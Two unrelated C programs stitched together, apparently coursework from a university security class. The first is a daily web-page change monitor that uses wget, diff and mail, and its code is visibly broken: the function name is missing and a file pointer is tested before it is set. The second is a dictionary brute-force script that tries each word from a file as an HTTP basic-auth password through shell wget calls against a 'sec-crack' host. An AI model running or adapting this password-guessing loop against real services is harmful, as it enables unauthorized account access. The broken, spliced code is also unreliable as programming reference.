# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
